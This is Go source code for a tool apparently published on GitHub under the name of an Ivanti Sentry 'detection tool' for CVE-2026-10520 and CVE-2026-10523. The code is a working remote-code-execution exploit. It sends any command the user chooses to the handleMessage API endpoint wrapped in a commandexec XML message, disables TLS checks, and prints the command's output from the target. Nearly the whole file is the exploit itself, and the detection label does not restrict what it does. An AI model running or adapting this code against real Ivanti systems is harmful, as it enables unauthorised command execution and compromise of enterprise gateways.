README.md
Rendering markdown...
package main
import (
"crypto/tls"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"net/url"
"regexp"
"strings"
"time"
)
const banner = `
██████╗██╗ ██╗███████╗ ██╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝ ██║██║ ██║██╔════╝
██║ ██║ ██║█████╗ ██║██║ ██║███████╗
██║ ╚██╗ ██╔╝██╔══╝ ██║╚██╗ ██╔╝╚════██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚████╔╝ ███████║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═══╝ ╚══════╝
Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523
[*] Ivanti Sentry Authentication Bypass and Remote Code Execution Detection Tool
CVES: [CVE-2026-10520, CVE-2026-10523]
Author: GhostGTR666 - Gagaltotal666
Github: https://github.com/gagaltotal/CVE-2026-10523-Ivanti-sentry
`
const (
userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
defaultTimeout = 10 * time.Second
maxResponseSize = 10 * 1024 * 1024
successMarker = "Message handled successfully"
resultXMLPattern = `<result><success>(.*?)</success></result>`
)
type APIResponse struct {
Data string `json:"data"`
}
type Config struct {
BaseURL string
Cmd string
Proxy string
}
type HTTPClient struct {
client *http.Client
}
func NewHTTPClient(proxy string) (*HTTPClient, error) {
transport := &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
}
if proxy != "" {
proxyURL, err := url.Parse(proxy)
if err != nil {
return nil, fmt.Errorf("invalid proxy URL: %w", err)
}
transport.Proxy = http.ProxyURL(proxyURL)
}
return &HTTPClient{
client: &http.Client{
Transport: transport,
Timeout: defaultTimeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
},
}, nil
}
func (c *HTTPClient) MakeCommandRequest(baseURL, command string) (*http.Response, error) {
baseURL = strings.TrimRight(baseURL, "/")
targetURL := fmt.Sprintf("%s/mics/api/v2/sentry/mics-config/handleMessage", baseURL)
data := fmt.Sprintf(
"message=execute+system+/configuration/system/commandexec+<commandexec><index>1</index><reqandres>%s</reqandres></commandexec>",
url.QueryEscape(command),
)
req, err := http.NewRequest(http.MethodPost, targetURL, strings.NewReader(data))
if err != nil {
return nil, fmt.Errorf("failed to create request: %w", err)
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", userAgent)
fmt.Printf("[+] Sending command execution check to: %s\n", targetURL)
return c.client.Do(req)
}
func ExtractCommandOutput(body string) (string, error) {
if !strings.Contains(body, successMarker) {
return "", fmt.Errorf("success marker not found")
}
data := body
var apiResp APIResponse
if err := json.Unmarshal([]byte(body), &apiResp); err == nil && apiResp.Data != "" {
data = apiResp.Data
}
if !strings.Contains(data, "<result><success>") {
return "", fmt.Errorf("result XML structure not found")
}
re := regexp.MustCompile(resultXMLPattern)
re.Longest()
matches := re.FindStringSubmatch(data)
if len(matches) < 2 {
return "", fmt.Errorf("failed to extract command output")
}
return matches[1], nil
}
func ReadResponseBody(resp *http.Response) (string, error) {
defer resp.Body.Close()
limitedReader := &io.LimitedReader{R: resp.Body, N: maxResponseSize}
body, err := io.ReadAll(limitedReader)
if err != nil {
return "", fmt.Errorf("failed to read response body: %w", err)
}
return string(body), nil
}
func ParseArgs() *Config {
var (
urlFlag string
cmdFlag string
proxyFlag string
)
flag.StringVar(&urlFlag, "url", "", "Target base URL (e.g., https://127.0.0.1:8443)")
flag.StringVar(&cmdFlag, "cmd", "", "Command to run for detection (e.g., \"uname -a\")")
flag.StringVar(&proxyFlag, "p", "", "Proxy address:port (e.g., 127.0.0.1:8080)")
flag.StringVar(&proxyFlag, "proxy", "", "Proxy address:port (e.g., 127.0.0.1:8080)")
flag.Usage = func() {
fmt.Fprintf(flag.CommandLine.Output(), "Ivanti Sentry Detection Tool [CVE-2026-10520, CVE-2026-10523]\n\n")
fmt.Fprintf(flag.CommandLine.Output(), "Usage:\n")
flag.PrintDefaults()
}
flag.Parse()
if urlFlag == "" {
fmt.Fprintln(flag.CommandLine.Output(), "Error: --url is required")
fmt.Fprintf(flag.CommandLine.Output(), "\n")
flag.Usage()
fmt.Fprintf(flag.CommandLine.Output(), "\n")
}
if cmdFlag == "" {
fmt.Fprintln(flag.CommandLine.Output(), "Error: --cmd is required")
fmt.Fprintf(flag.CommandLine.Output(), "\n")
flag.Usage()
}
if urlFlag == "" || cmdFlag == "" {
return nil
}
return &Config{
BaseURL: strings.TrimRight(urlFlag, "/"),
Cmd: cmdFlag,
Proxy: proxyFlag,
}
}
func PrintSummary(cfg *Config) {
separator := strings.Repeat("=", 60)
fmt.Println(separator)
fmt.Printf("Target: %s\n", cfg.BaseURL)
fmt.Printf("Command: %s\n", cfg.Cmd)
if cfg.Proxy != "" {
fmt.Printf("Proxy: %s\n", cfg.Proxy)
}
fmt.Println()
}
func main() {
fmt.Print(banner)
cfg := ParseArgs()
if cfg == nil {
return
}
PrintSummary(cfg)
var proxyURL string
if cfg.Proxy != "" {
proxyURL = fmt.Sprintf("http://%s", cfg.Proxy)
}
httpClient, err := NewHTTPClient(proxyURL)
if err != nil {
fmt.Printf("[-] Failed to create HTTP client: %v\n", err)
return
}
resp, err := httpClient.MakeCommandRequest(cfg.BaseURL, cfg.Cmd)
if err != nil {
fmt.Printf("[-] Request failed: %v\n", err)
return
}
body, err := ReadResponseBody(resp)
if err != nil {
fmt.Printf("[-] Failed to read response: %v\n", err)
return
}
output, err := ExtractCommandOutput(body)
if err != nil {
fmt.Println("[-] Target does not appear to be vulnerable.")
return
}
fmt.Println("[+] Target appears to be vulnerable.")
fmt.Println("\nCommand output:")
fmt.Println(strings.TrimRight(output, " \t\n\r"))
}